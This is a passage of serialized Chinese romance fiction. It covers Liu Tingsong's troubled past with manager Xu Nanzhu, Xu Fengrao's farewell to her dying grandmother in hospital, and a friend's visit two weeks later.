“我说过的,你知道我的过去、我的全部经历,知道我所受的委屈、遭遇过的冷落,知道我是怎样的一个人,怎样会变成这样的一个人,我将我完全告知你,我对你完全坦白,无论是五年前还是现在。” 之前在病房裏的话语又一遍重复,前一次是抱怨是接受是原谅,这一次是控诉是崩溃是无法理解。 她说:“柳听颂,这个世界对我一点也不好,你是知道的,我曾将全部都告知于你,不是祈求你对我更好,而是想告诉你,你于我有多重要。” 许风扰深吸一口气,她不是个爱哭的人,却在对方这儿哭了一次又一次,明明都躲到雨裏了,明明她都躲进无止尽的雨中。 “可是你把这一切当做欺负我的工具,” “不是的、不是的宝宝,” 许风扰已经完全听不进去其他,只顾着发洩,一声声控诉:“柳听颂,这个世界对我一点也不好,你也是。” “你在欺负我,”她的词彙变得单薄,好像变成了一个幼稚园的小孩,被欺负以后就不知道如何告状,如何告知家长、老师,自己受了怎么的委屈,承受了怎样的苦难,只剩下眼泪和一遍遍地:“你欺负我。” “你为什么要欺负我?” “你凭什么这样对我?” “做错事的明明是她,”许风扰声音颤抖,几乎无法让人听清。 “对不起、宝宝对不起,”之前反复模拟的腹稿都没了作用,就连辩解都无法说出,她真的想告诉许风扰,不全然是这样的,她也动了真心,她也在后悔,可柳听颂说不出来,一日又一日堆积的愧疚感已将她淹没,之后无论再如何争辩,都无法改变最初的卑劣。 又是一声雷电炸出,天地万物都被照亮,变成干净而纯粹的白。 可这样的简单只维持了一瞬,当光亮暗淡,周围一切就变得复杂起来,随着水流涌来的落叶堆积在脚底,淹没至脚踝,像个会自主归类的垃圾堆,被丢弃、不要的东西都彙聚在这裏。 她艰难又小心地开口:“柳听颂你到底有没有喜欢过……” 话还没有说完又自顾自止住。 她扯了扯嘴角,苦笑道:“柳听颂你对我的包容,到底是真心还是愧疚感作祟?” “我已经分不清了。” 柳听颂清瘦身躯发颤,明明不在雨中,衣衫却染上水迹,她只能道:“你在哪裏?我去找你,有什么事我们当面说好不好?” “不要,”许风扰闭上眼,声音很轻,好像稍用力就会敲碎她几乎透明的薄弱皮囊。 “柳听颂我现在不想见你。” 这可笑啊,她刚刚还是舞臺上肆意骄傲的乐队主唱,臺下掌声与欢呼声起伏,任由她手中琴弦调动,接连不断的闪光灯落在她身上,她看向她的亲密恋人,那一瞬间许风扰甚至觉得自己得到了一切,可这一切都被打碎在十分钟后。 礼堂依旧热闹,她却被隔绝在喧嚣外。 不等许风扰再开口,就见李见白打了电话,提醒着她应要履行的义务。 她深吸一口气,只道:“这两天我不想见到你。” “我不会回去了、你不用来找我。” 她声音停顿,没有理会对面要说些什么,直接道:“过段时间我会主动找你。” “柳听颂,我需要一个从你嘴裏说出的真相。” 话毕,她不管对面如何回答,直接挂断电话,艰难从垃圾堆中拔出腿,脚步沉重地往前。 第57章 她又失声了 哪怕隔了一段时间, 那真相不也还是那样吗? 手机传来电话终止的嘟嘟声,在这片狭窄空间裏回响,柳听颂跌坐在墙边, 任由黑暗侵蚀, 无法站起、也无力站起。 墙外的雨好像永远不会停,破旧的排水管哗啦啦地往外吐着水, 雨沁进水泥墙面,从裏到外都浸泡,周围泛着股水与灰交融的奇特味道。 柳听颂就蜷缩在这样的角落裏, 失神的眼眸没了焦点, 不断掉入记忆裏的梅雨天。 柳听颂初遇许南烛的那年, 刚满十六。 不同于网络上的编造与谣言,柳听颂没有所谓的背景, 也不是什么富几代。 她出生在一个很普通的南方小镇裏, 发霉的白墙、永远不会干的灰瓦还有狭窄的巷子, 占据了柳听颂十六岁前的一半记忆。 而另一半是无休止的争吵、越来越虚弱的咳嗽声。 她的家庭就好像个烂俗的童话故事。 故事的起初总是美好, 家庭富裕的城裏大小姐被羸弱俊逸的小镇青年哄骗, 面对父母阻拦, 大小姐毅然放弃一切, 与青年领证结婚。 起初有情饮水饱,她弹琴念诗,他伴唱写书,以灵魂伴侣相称,即便是柳听颂出生后,他们也日日牵手漫步于溪流边, 几次将身后女儿遗忘。 可再美好的童话也只会止于柴米油盐,诗词填不了肚子, 再深的感情也换不了银钱。 等大小姐从情爱中清醒,才发觉破旧老屋无论再如何修补,都无法阻拦雨水的滴落,从家中带来的衣服穿了几年,早已褪色、完全看不出曾经模样,他们掏空了口袋,却连女儿读书的学费都凑不齐。 她也曾试着改变,与丈夫商量着离开,出门打工或是做点生意。 可丈夫哪裏会同意,他甚至无法理解,前一天还与他谈诗作曲的妻子,怎么突然就沾染上一身铜臭。 诗情画意变作一地鸡毛,曾经恩爱的人开始日日争吵,谁也改变不了谁,谁也挽回不了这窘迫贫困的生活,感情在日复一日中消磨殆尽,直至妻子终于察觉到了丈夫的隐瞒。 他坚持要留在小镇的原因。 在情绪崩溃后,向来温和的丈夫开始大吼大叫,露出常年裹着白布的手腕,纵横的刀疤新旧交替,他疯狂地撞墙壁,露出强烈的寻死倾向。 他不是不愿意离开小镇,是根本无法离开,他需要这样安宁的环境稳定自己情绪,控制住病情。 在那个还无法接受、理解精神疾病的旧时代,妻子终于无法忍受,选择孤身离开。 至于没有选择、直接被抛下的柳听颂,她不曾怨恨过母亲,她甚至可以理解对方的做法,建立在欺骗之上的婚姻必然会破碎,只是早晚罢了。 而且母亲也并非不管不顾,每个月都会托人寄来一笔钱,以至于让父女两的生活比起之前,竟更要好过许多。 只是柳父发病的次数越发频繁,哪怕吃药也无法控制,甚至被关进了神经病院中。 而在柳听颂十五岁后,母亲再婚,托人寄来最后一笔钱,数额丰厚,足以支撑到柳听颂大学毕业。 可柳听颂却用这笔钱,将父亲带往S市治病。 但很明显,这笔看似丰厚的钱,在大城市裏根本算不得什么,甚至不够他们半年的开销。 柳听颂只能想方设法赚钱,可一个未满十六的少女能做什么? 甚至因为过分姣好的容貌,招惹了不少麻烦,被迫换了好几份苦苦哀求才得到的工作。 直到她遇到的许南烛。 彼时的许南烛也算不得成功,读了五年医学才恍然醒悟,毅然弃医从商,可她虽有本事,却抵不过父母的暗中阻拦。 许家看似地位不显,却有着几代从医的底蕴,人脉极其深厚,只要他们不松口,许南烛就处处是阻碍,即便许南烛已为此生下个女儿,他们也只是明面松口,暗地裏还在施压。 如此情况下,即便已小有成就的许南烛,也觉郁郁不得志,每日都在想该如何摆脱父母的控制。 最后,她决定踏入娱乐圈。 老一辈的想法固执,尤其是许家父母这种清高自傲的性格,连商贾都不大看得起,更何况是戏子 因此,许家父母几乎不认识娱乐圈的人,更没办法阻拦许南烛。 可目标有了,能帮她挤入娱乐圈的人却迟迟未寻到。 直到她遇到了柳听颂。 事实上,她从一开始另怀目的,在酒桌上的随意一瞥,便瞧出柳听颂的相貌不俗,所以在她被客人为难时,主动上前解围。 那时的柳听颂自然不曾知晓这些,甚至主动将许南烛搀扶到车前,轻声感谢。 而许南烛就以此为由,让柳听颂唱了几句词。 柳父既能让见过太多繁华的大小姐动心,自然是有他独到的本事,俊逸的容貌以及得天独厚的好嗓子,甚至能哄得大小姐跟他过了好些年苦日子,而青出于蓝而胜于蓝的柳听颂,自然也能让许南烛意动。 于是一人缺钱,一人缺合适的艺人,接下来发生的事情就变得顺理成章。 从十六岁到二十三岁,柳听颂与许南烛的人生,几乎可以说是完全绑定在一块。 许南烛卖了之前公司,最穷的时候,两人甚至挤在同一间出租屋裏,可饶是如此,柳听颂的单人声乐课、形体课等,也是一天也没断过。 两人从最开始的四处碰壁再到万人瞩目。 此中过程跌跌撞撞又互相支撑,到最后连当事人都无法说清,两人是什么关系。 是天后和金牌经纪人、是一起走过艰难岁月的好友、是伯乐与子期。 甚至于柳听颂而言,许南烛几乎等同于另一种意义上的母亲。 毕竟在这段时间中,柳听颂与亲生母亲已彻底断联,而父亲则在一风和日丽的日子,设法脱离护士的视线,从六楼一跃而下。 即便再清醒理智,柳听颂那会也只是一个未成年人,根本无法控制自己,将对父母的渴望投射在许南烛身上,而另一人看破却没有纠正,任由这复杂且扭曲的关系继续维持下去。 所以当许南烛从娱乐圈中抽身,投入另一个行业时,柳听颂才那么崩溃。 她可以接受许南烛签更多艺人,同意许南烛给她安排其他经纪人,但无法接受许南烛只将她、娱乐公司当做一个踏板,完成原始积累,便毅然改行。 对柳听颂而言,这是一场彻头彻尾的背叛,之前的一切都成了笑话。 她试图用其他办法引起许南烛的注意,却引来舆论的攻击和粉丝的不理解。 年少成名总是伴随着过高的期待,更何况许南烛给她编造的人设太过完美,一旦出现些许裂缝,就会招到更恐怖的反噬。 两方面的打击让柳听颂不堪重负,那段时间就已是半隐退的状态。 手机铃声从旁边响起,还是熟悉的那首《Want You All The Time》,自从那日后,这首歌就占据了柳听颂的日常。 只是这一次,笑意不曾浮起,随着许风扰低柔的声音,她被拉扯入更深的愧疚裏。 其实许南烛不常提起女儿,柳听颂也是在认识许南烛的第二年,才得以知晓对方的存在。 还记得那一天是大年三十。 喝得烂醉的许南烛几乎凌晨才赶回,柳听颂转身去厨房端来解酒汤,刚走出就见许南烛皱着眉头,对着手机低骂道:“许风扰你能不能懂点事?!” 作为一个左右逢源的商人,许南烛其实很少露出这样恼怒又厌恶的模样,语气尖锐地指责:“今天大家都很忙,你能不能乖一点?” 手机另一边的人被她吓到,好一会才传出怯生生的孩子声:“妈妈、对不起,我不是故意的。” 许是太害怕了,小孩的声音发颤,甚至还带着哭腔:“对不起妈妈,我、我只是有点害怕。” 回答的是许南烛立即挂断的电话和被甩飞的手机。 直至后面,柳听颂与许风扰在一起后,柳听颂才得以知晓,这一夜许风扰与李见白被长辈带进医院,本是想在医院裏过个年。 可一场特大车祸将医院扰得兵荒马乱,外公外婆及李家父母都被喊走,两个小孩被锁在休息室裏,听着外头的惨叫与争吵,喝冷水饿着肚子度过了大年三十。 再往后,许是已经被柳听颂知晓,许南烛也不再遮掩。 她虽然不喜许风扰,却极其在意对方的成绩,像是那时就已打起了与父母争夺继承人的主意,她的书房裏放着许风扰每一次考试的成绩单,一旦许风扰成绩下降,便会被她劈头盖脸一顿骂,然后安排各科的补习老师。 是她让许风扰学音乐,又叫人抬走了她的钢琴。 虽有血脉相连,但她们的关系甚至不比许南烛和柳听颂。 高三那一年,是许南烛最频繁提起许风扰的时候,她甚至主动搬回家,陪了许风扰几个月,直到收到许风扰的录取通知书。 那一日,许南烛罕见的十分高兴,甚至当着柳听颂的面,开了一瓶酒,自斟自饮地喝到半醉。 她醉醺醺地抓着柳听颂的手,喃喃自语到大半夜。 她怎么能不高兴,那段时间几乎是她最得意的日子。 无法被父母阻拦的事业终于腾飞,而她的孩子、被她看作另一个自己的影子,终于弥补了她无法选择商学院的遗憾。 她填补了她的人生,使之变得完美。 唯一的不满只有那个孩子太不知趣,总在想方设法想着抵抗,让许南烛操了许多心。 而柳听颂故意接近许风扰的事情,她是清楚知晓的,甚至是她默许的。 其实在那段时间裏,柳听颂的精神状态一直不大好,许南烛的背叛与粉丝的责骂,让她不敢再踏上舞臺,甚至连最普通的工作都无法应对。 而许风扰呢,忙着逃学、抵抗许南烛的安排。 所以,许南烛默许了她们的接触,想用柳听颂的落魄,打消许风扰搞音乐的念头,同时也想以许风扰警醒柳听颂,她轻易就可以得到的东西,是许风扰竭尽全力都无法触碰的。 起初的结果,确实如许南烛所愿,柳听颂的精神状态好了不少,而许风扰也老老实实去上课了。 许南烛对此感到满意,却不曾想,这些都是柳听颂想让她看见的。 实际她已带许风扰组起乐队,四处演出,甚至参加了综艺,就像她曾经带柳听颂那样,她成为了许风扰身后的经纪人。 许南烛背叛了她,那她就将许南烛看中的继承人推进她所鄙夷的娱乐圈,这才是柳听颂接近许风扰的目的。 旁边的手机再一次亮起,反反复复不曾停歇,像是有什么急事,将柳听颂的回忆不断打断。 没办法,柳* 听颂只得将电话接通。 梨子焦急的声音立马冒了出来,可柳听颂张了张嘴,想要回答,却发觉自己发不出任何声音。 她…… 又失声了。 第58章 她很缺爱 疾行而来的车子被随意丢弃在大门外, 帆布鞋踩进水洼中,又艰难拔出,抬发出嗒嗒的水声, 最后在白瓷地砖上留下一个个湿漉漉的脚印。 早已等在门外的李见白转来转去, 直到余光瞥见熟悉身影,面色一喜就急忙快步走上去。 下一秒, 她的表情就僵住,震惊道:“你怎么搞成这样了?!” 不怪她如此震惊,就连来往路过的人都会投来诧异眼神。 见过淋湿的人, 但没见过那么狼狈的。 白发贴在脸颊, 全身上下的衣服都湿透, 屋外在下雨,她的衣服也在下雨, 裤脚沾着落叶和泥土, 像是刚从垃圾桶裏翻出的一样。 “你这是、这是, ”李见白不知该说什么好。 嫌她太过吵闹, 许风扰抬了抬眼, 无声看了她一眼, 碧色眼眸中平淡, 没有李见白想象中的愤怒或悲伤,甚至没有一丝波澜,透着股死气沉沉的感觉。 这反倒让李见白更无措,她在手术室的门外见过太多人喜悲,许风扰这幅模样就是她见过最棘手的那种,每次瞧见都得多叮嘱护士几句, 让她们小心瞧着,以免发生其他意外。 “阿、阿风, ”李见白明显有些慌了。 嫌她磨蹭太久,许风扰终于冒出一个字:“走。” 不是催着她来了吗? 她来了。 李见白张了张嘴,有心安慰却又顾着裏头的人,只能咬牙踏步往前,同时道:“手术没有达到预想的结果,外婆的年纪还是太大了……” 许风扰没有说话,只跟在她身后,留下一个个湿漉漉的脚印。 “情况比我们想象的还要糟糕,自术后她就一直在昏迷,偶尔几次清醒,都在念叨着你的名字。” “外公和许姨这几天都守在医院裏,外婆之前带过的那些学生也都来过了。” “大家都看得出来,她现在全凭一口气在强撑着。” “她是真的很想见你一面。” 因一边快走一边说话的缘故,李见白的气息微乱,直到踏入电梯中,才稍稍缓了口气。 银白的铁壁如同镜子,倒映出两人的面容。 许风扰依旧是那副模样,没有因李见白的话语产生任何波动,就好像个行尸走肉,全凭着之前留下的指令做事。 李见白瞧着许风扰的这样子,毕竟是从小一块长大的朋友,心裏自然不好受,她摸了摸发酸的鼻子,又道:“阿风你别这样。” 她声音低弱,这几天没少偷偷抹眼泪,一提起就哽咽:“我只是不想让她怀有遗憾的离开,你现在是还在怨他们,可若干年后,你肯定是要后悔的。” 她偏过头,看向旁边人,语气沉沉道:“外婆是真的很在乎你。” 许风扰依旧沉默,只在她说完这句话后,掀起眼帘,用平静如死海的眼眸凝望着她。 之后的李见白时常会想起这一幕,直到后头瞧见被删除的联系方式,和再也打不通的电话,才明了这一眼的含义,从这句话结束后,便注定了她与许风扰友谊的结束。 她在以这样的方式向儿时的朋友告别。 而这时的李见白并不明了其中含义,只是本能生出惶恐,下意识抬手想要抓住许风扰手臂,却被她退后一步躲开。 电梯门恰时打开。 许风扰移开眼,只道:“走吧。” 李见白想说些什么,又怕裏面的人坚持不住,只能一跺脚,领着许风扰就往前。 若有人不知情,远远望过来,必然会被吓得半死。 毕竟这一幕实在太过诡异的,穿着白大褂的医生急忙往前,而身后如同刚水中捞出的白毛家伙亦步亦趋,水珠滴落,在身后留下粼粼水迹。 且,医院的过道又惯用白炽灯与白瓷,与许风扰苍白如纸的面色相称,像极了恐怖片会出现的画面,冒着股森冷的鬼气。 等在病房外的人都被吓住,齐刷刷往这边看。 而离房门最近的白发老头与许南烛,几乎同步同时站起。 “你怎么……”许南烛张了张嘴,而后又想起什么,话音一转就道:“你先进去吧。” 不难猜想出其中过程,许总那么大个重量级人物,若参加校庆的话,怎么会连半点声响都没传出,更何况如今外婆卧病在床,她哪有心思参加什么校庆 就是因为外婆执念,再加上李见白无法联系到许风扰,所以她才这样绕着弯寻到许风扰。 在礼堂做完交易后,她便又匆忙开车赶回,守在这儿。 旁边都是外婆教过的学生、治疗过的病患,在认出许风扰后,心存不满下,打量视线也不加掩饰,或审视或探究或愤愤不平。 可许风扰谁都没有理会,哪怕是曾经较为亲近的李家父母,许南烛为她开门,她就踏步走进。 病房压抑,哪怕是用花束、果盘填满,也无法阻拦裏头垂暮的死气,旁边的制氧机、心电监护仪还在工作,可谁都清楚,这些都不过是一种心理安慰,谁也无法挽回床上老人流失的生命。 许风扰脚步顿了下,这是自她踏入医院后,唯一一个谈得上情绪波动的动作。 眼神扫过周围,许风扰其实很不喜欢医院,但是也没几个人会喜欢医院,这裏承载着太多病痛与无望的祈祷,徘徊的灵魂游荡在哭泣的人身边,连风声都是哭嚎。 许风扰深吸了口气,不知为什么又想起年幼时的经历。 那年三十,可突如其来的车祸打破了少有的温馨,那场意外实在严重,即便到了如今,也能轻松查询到当年的那场特大车祸始末。 一辆承载百吨的货车想要趁年三十、看守松懈的时运货,却意外将高架桥压垮,而那时又正值回家的高峰期,小车连着大货车一起往下坠,当场就有九人死亡,三十六人重伤。 休息在家的医生都被召回,就连过道都被伤者占满,以至于临时床位堆到休息室门前。 痛苦的呻吟、绝望的哭嚎、匆匆忙忙的脚步声都从门缝中挤入,与屋内的破小电视,发出喜庆声形成鲜明对比。 待在房间内的小孩不安又无措,长辈怕她们瞧见门外惨状,所以特意锁上房门,可有时只闻其声的未知,才是最让人感到恐惧的,大脑不受控制地构出恐怖画面,屋外人还配合大喊:“这裏有一个腿断的、快快快。” 抱成一团的小孩一抖,桌上的饭菜都冷得结出油块,从一开始就没吃几口,如今更是一口都吃不下。 “阿风?” 旁边人突然喊了一声,回忆如潮水般褪去,只余下无法缓和的旧日阴影。 许风扰深吸了口气,竟在这样的痛苦裏,拉扯回一丝理智,不再像之前那般浑浑噩噩。 病床上的人已被轻声唤醒,李见白提过一个高脚凳摆在床前。 外头的人也挤进来了,按理说他们应该避开,可他们对许风扰不满,就连最基本的礼貌都忘了。 许风扰自顾自坐到那边,不曾在意半点,她心中无愧,想要他们避开的另有其人。 病床上的人病弱且苍老,但即便在此刻也难掩周身冷肃严厉,完全可以想象出她身披白大褂、站在病人面前的模样,令人信服又让人依赖。 她反应明显有些迟缓,浑浊的眼珠转动了下,才慢慢停留在许风扰身上,艰难发出一个含糊的音节。 站在旁边的老头立马上前,握住她的手,低声哄道:“对,阿风来了。” “你先别激动、慢慢的,”他的声音很轻,隐隐藏着几分恐惧,生怕一不小心就打碎着即将腐朽的皮囊。 有人递来温水,却被挥手推开。 她已经连正常的饮水都成问题了。 许风扰就坐在那儿,望不出其他情绪,滴落的水在脚边积成浅浅一摊,倒映着过白的灯光。 当围绕在床前的人散去,两人终于能够对视。 气氛又一次陷入凝滞,任由周围人如何焦灼期盼,被围绕在中间的人依旧紧闭着嘴。 许风扰双手交叉握在身前,即便这个时候,也还在走神。 想着屋外的大雨、方才路过瞧见的花、礼堂裏的庆典是否已经结束,楚澄她们几个肯定很生气,想到这些,许风扰对医院的厌恶就更深了些。 “你……”那人扯着声音,有些看不清许风扰模样,好一会才说:“那边有干净的毛巾。” “不用,我等会就走了,”许风扰眼眸垂了垂,被湿衣服紧贴的脊背微微弯曲,那些凸起的骨节便更加明显。 外婆没有坚持,瞳孔虚晃又定在许风扰身上,说:“要好好吃饭。” “嗯,”许风扰答应了声。 她们之间的感觉很奇怪,但好在没有出现最令人担忧的情况。 许南烛自顾自转身,看向窗外。 简单两句话后,两人好像又没别的话可以说,不只是因为生病,之前也是这样,就那么几句话,以前还可以问学习、缝合练习情况,而现在许风扰既不再读书,也没有从医,这些话也问不出口了。 外婆的身体很差,片刻之后就要闭眼休息一会,而后才艰难掀起沉重眼皮,说:“是我们对不起你。” 这话刚落,病房内的人表情各异。 李见白张了张嘴,最后抬手捂住自己的脸。 站在旁边的老人低下头,一言不发。 就连窗边的许南烛都僵了下,下意识想去摸烟盒,又反应过来停住。 在场唯一没有反应的是许风扰,连回应都没有,垂落的睫帘在眼睑留下淡淡灰印,湿发还在滴落,随着脸颊往下滑。 那人像是早料到许风扰现在的反应,不祈求许风扰的回应,这句话更像是钥匙,打开紧闭的门,剩下的话语终于能被说出。 “是、我们太固执,完全忽略了你们的感受。” “我这辈子最对不起的人就是你。” “我们对你、一直不算太好。” 她的意识不算清醒,不知之前在脑海中过了几遍,最后全凭本能,颠倒着往外冒。 “对不起、对不起孩子。” “当年的事情是我们太偏执,觉得南烛不听话,就对你也有偏见。” 许风扰的腰又弯了弯,熟悉的烦闷再一次涌了上来,她想要生气、想要大声质问、也想大吼大骂,可莫名就提不起半点力气,心情索然。 那人翻来覆去道歉半天,伸手向许风扰,像是想要摸摸许风扰的脸。 可许风扰只是杵在那儿,她们中间只隔着半米空间,却如同深不见底、无法跨越的丘壑。 那人显然也清楚,手垂落后,眼眸也跟着黯淡下去,只喊道:“钥匙、钥匙。” 旁边的老人最先反应过来,拿出她想要的钥匙,往她掌心塞,可她却摆手拒绝,看向许风扰。 “回家、回家,”她固执地重复。 另一人将钥匙放到许风扰手中,许风扰没有捏住,也没有甩开,就这样虚放在掌心。 当初跪在门前、哭喊着要回去的孩子,现在又拥有了家裏的钥匙,却没有一点雀跃感动的情绪。 她终于开口,语气很沉,泛着初秋的寒意,只道:“我已经被你赶出去了。” “是我们做错了、”她紧紧盯着许风扰。 “认错就可以结束这一切吗?”许风扰偏了偏头,她面色极其苍白,嘴唇更是泛紫:“那犯错的成本也太低了吧。” 她这话说得太过绝情,毕竟华国人在这方面总是宽容,无论多大的事,好像都可以在垂死时被全部原谅。 可许风扰偏不,她只一字一句道:“是你们赶走我的。” 外婆呼吸一顿,吓得周围人都连忙上前,生怕她被许风扰气得喘不上气。 可外婆只是扯了扯嘴角,好像早有意料,只喃喃道:“回去、回去看看。” 周围、尤其是那些不明事情经过的人,都对许风扰露出不满表情。 站在旁边的老头想说些什么,又止住。 许南烛转过身,沉默看向许风扰。 李见白开口道:“阿风,你就答应外婆吧。” 许风扰又不想说话了,脑海中闪过柳听颂的身影,还没有清醒浮现就很快被压下。 这病房裏有很多人,但没一个人站在许风扰身后。 反倒是床上的人露出慌张表情,挣扎道:“没事、没事。” “是我们对不起你。” 她想要起身,可连脑袋都没能完全抬起,下一秒就摔下。 许风扰身体前倾,又骤然止住。 旁边人比她更快,小心拍在她瘦弱的脊背,低声道:“你别急、别急。” 许南烛看向心电监护仪,薄唇紧紧抿住。 外婆就这样被丈夫抱在怀裏,她缓了缓,灰暗的眼神挣扎出一点光亮,小心翼翼问道:“你真的不愿意学医吗?” 折腾来折腾去还是这个问题,他们心中的执念太深,总觉得要传承、要救死扶伤,像是许家人从出生带着什么悬壶济世的责任,大家都得去完成。 可许南烛不愿,许风扰忤逆。 “你真的一点都不感兴趣吗?” 众人的视线又落在她身上,恼怒中又带着祈求,希望她能说出一个垂死之人想要听到的答案,让她能够安心瞑目。 许风扰偏过头,视线垂落在地板,过分干净的白瓷倒映着她的面容。 被抱在怀裏的老人怔了下,表情慢慢就暗淡下去,枯瘦如柴的手扯着丈夫的衣袖。 “有过,”许风扰发出闷闷的声音。 怎么可能没有呢? 小孩最容易受到周围长辈的影响,当她看见外公外婆被人夸赞,甚至被救回的人下跪、哭着道谢时,她怎么可能不被触动生出与有荣焉的骄傲。 那是她的外婆,是救回千万个人的大医生,某度上有她的个人简历,当地新闻播过她的事例,也在报纸上留有姓名。 许风扰难道就没想过成为这样的人吗? 答案是肯定的。 “那你、那你,”外婆突然激动起来,直勾勾盯着许风扰看。 许风扰薄唇碾磨,字句从话语中吐出:“不可能。” “你知道不可能的。” 交叉紧握的手收缩,将过分苍白的肌理抓出青紫痕迹。 她没有说出其他,可外婆却突然愤愤咒骂起来:“是因为她对不对是因为她,你才不想学医的对不对?!” 她满是皱纹的脸颊扭在一起,浮现出极狰狞的表情。 连旁边的丈夫都冒出一丝怨恨。 李见白身体颤了下,又被身边父母揽住肩膀,试图安慰。 周围人都露出疑惑表情。 而许风扰却想起许多,比如她厌恶身上的痣、不喜吃鱼,李见白选择了皮肤科的原因。 外婆外公之前虽然忙碌,但惦念着许风扰、李见白的未来,从小就要她们阅读医学相关的杂志,甚至在五六岁时,两人就开始学习简单缝合。 这本是很正常的培养,可奈何他们都太忙,无法亲自教授,于是就由外婆安排,让名下的一个学生每日带着缝合材料过去,类似于家教一般,盯着许风扰和李见白练习。 那学生的原生家庭十分困难,但本人却极有天分,外婆如此安排,也是为了找个由头补贴她,每月都给她发一笔极丰厚的“补课费”。 如此看来,谁都觉得妥帖。 可没想过那学生是个极偏激的性格,外婆如此安排,却没有和学生解释自己的苦心,甚至没有问过对方是否愿意,再加上外婆本就对手下学生极严厉,即便是一点小事,都会被大声责骂。 而那人因被外婆格外看中的原因,挨骂次数只多不少,久而久之就生出怨恨,将不满发洩在许风扰、李见白身上。 她也不曾打骂,那些都太容易被发现。 她只是故意买一些得了竖鳞病的鱼、生出虫病的蛇给许风扰两人练习缝合。 那些鱼、蛇得病后,外表就会变得狰狞又恶心,鱼鳞炸起,身体鼓涨,鱼目更是凸起,就算是喜欢养鱼的人见到,也会泛起恶心。 而那蛇就更恐怖了,鳞片下全是密密麻麻的虫,哪怕是个成年人瞧见,也会头皮发麻,冒出一堆鸡皮疙瘩。 那个学生就用这些东西恶心许风扰两人。 两小孩本就因长辈忙碌,和他们不大亲近,遇到这种事也不知道该怎么说,只知道这些都是长辈安排的,必须照办。 而两家长辈浑然不觉,还觉得那学生教的好,在家时还嘱咐两小孩要好好和她学习,全然没有发觉许风扰两人因长期噩梦,日渐消瘦的身体。 最后还是那个学生越发胆大,竟敢偷藏手术后的腐肉,要给许风扰、李见白练习,被一护士察觉后,告到李见白父母那边去,这才东窗事发。 可到此刻,李见白与许风扰已被折磨了半年。 在此之后,两人都极厌恶鱼、蛇等动物,也无法忍受皮肤上有任何毛病,哪怕是最细微的黑痣,也会想方设法去掉。 “是我对不起你们,是外婆对不起你,”那人挣扎着拽住许风扰的手。 “对不起、”她脸上终于出现悔意,喃喃道:“真的对不起。” 她望着许风扰,说:“如果没有她、如果没有她的话……” 屋外的雨还在下,黑云遮住光亮,将天地万物都盖住,分不清日夜,完全陷入一片漆黑裏。 许风扰低垂着头,将她的手扯开,轻放到床边,只说:“不止是她。” 她说:“外婆,我很缺爱。” 从开始到现在,她第一次喊出这个称呼,她语气很平静,甚至没有半点羞涩或是悲伤,像是在陈述一个早已看破,并理所应当的事实。 “我很缺少爱,”她定定看着对方,有点遗憾又有些无奈。 “如果你愿意多看我一点……”她的话突然止住,扯了扯嘴角,却挤不出一点笑容。 所以只能重复道:“如果你们多看看我。” 许风扰很清楚她是个很心软的人,固执叛逆的皮囊下缩着一个想要人抱住的小孩。 就好像柳听颂突然消失又回国,只要对方多凑过来、说几句软话,她就忍不住原谅。 她很缺爱,很想有人爱她,她也不想总是被丢掉,不想和那些随意被丢弃、被水推走的落叶一样。 如果外婆、许南烛能够软下语气,真正领着她学习,培养她的兴趣,她未尝不会松口。 可他们只会替许风扰做决定,以驱赶作为威胁,于是只能换来许风扰的叛逆和不肯妥协。 外婆先是一僵,继而才后知后觉地反应过来,自顾自地喃喃:“是我的问题、是我的问题。” 她的丈夫没有再安慰她,眼眸疲倦又带着愧疚。 许南烛靠在窗边,低垂着头,不知在想什么。 说出这些后,许风扰没有感到轻松半点,只是后知后觉地感到有些冷,湿透的衣服已经不滴水了,地上的水洼顺着地缝流淌,慢慢滑向门外。 病房裏陷入了死寂,直到那自言自语的老人逐渐没了气息,心电监护仪响出尖锐声响,起伏的红线变得平直。 许风扰缓缓抬起手,抚过那仍然带着悔意的眼眸,将眼帘轻轻合上。 之前的钥匙被放在床边,她站起身就往外走。 如她来时一般,没有拖延也没有一丝留恋,只是在执行一个任务,任务完成就可以离开。 雨仍然不停。 第59章 做美甲去啦~ 恍惚间, 半个月就过去,随着连绵秋雨,S市正式踏入了秋季。 熟悉的旧屋比以往混乱许多, 蜷缩在被褥中的人皱了皱眉, 伸手抓住不断震动的手机,刚挂断电话, 又听到外面砰砰砰的敲门声。 “开门啊姐!我从老远地方给你提了包子豆浆过来,你快给我开门啊,”楚澄大声喊着, 再好的膈音也拦不到她的夸张语调。 许风扰试图用枕头蒙住脑袋, 又在接连不断的催促声中, 猛的起身,将拖鞋踩得砰砰作响。 ——嘭! 房门被大力掀开, 砸得客厅裏的架子鼓都颤出一声鼓音。 楚澄一点没被吓到, 前两天将满头红毛改成橙色, 越发像一头没皮没脸的大狮子。 她提起那堆包子馒头, 在许风扰面前一晃, 就道:“你之前带我去吃的那家, 我一早就爬起来, 排了半个小时才买到。” 她嘿嘿一笑就道:“赏脸吃点?” 许风扰表情不大好,已生出黑色发根的白毛被揉乱,半垂的眼眸阴郁,不过短短半个月,那点被柳听颂辛苦养回的肉,又一次缩减回去, 在宽大短袖下,显得格外清瘦。 楼道裏, 不愿上幼稚园、却被大人提溜着下楼的小孩,本在故意磨蹭着时间,结果一见到许风扰,瞬间就抱着大人的腿,嚷嚷着快走。 许风扰就像个门神似的,杵在门口半天,好一会才在楚澄憨憨的笑容中,慢吞吞偏过身让路。 那人还嫌许风扰太慢,斜身就往裏头挤,嚷嚷道:“快点快点,冷了就不好吃了。” “你家的碗筷放哪来着?” 许风扰还没能进屋,厨房裏就先传出噼裏啪啦的声响。 那人骂骂咧咧得将窗帘拉开,许久未见的日光挤入其中,落在窄小的餐桌上。 那几个包子还冒着热气,豆浆被倒入玻璃杯裏。 许风扰抬了抬眼,挤出一句:“等会你洗碗。” 明明丢在塑料袋裏就能吃的东西,也不知道楚澄干嘛还得摆个盘,那人哭笑不得,连连点头道:“行行行,这才两个盘子而已。” 许风扰没什么胃口,可刚一坐下就被楚澄塞了个包子,只能慢吞吞地拿着啃,另一人都吃到第二个了,她才磨出破一点皮。 楚澄抬眼一看,又好气又无奈的。 这段时间裏发生的事不少,那日许风扰从医院出来后,便独自一人赶回之前的小窝。 原先守在楼下的那些狗仔都已撤退,唯有一两个不甘心的,还时常往这边跑,偶尔蹲守一会。 结果那天正巧就撞见许风扰赶回,拿着单反就是一阵猛拍。 那一日,许风扰疑似失恋的狼狈词条就这样冲上了热搜。 一群粉丝也没能想到,刚刚劝自己接受了几天的嫂子,一转眼就没了,再看向照片裏,那可怜又失魂落魄的许风扰,只觉得心疼极了,寻思着到底是哪位神仙敢甩了许风扰,把一向桀骜轻佻的人逼成这样。 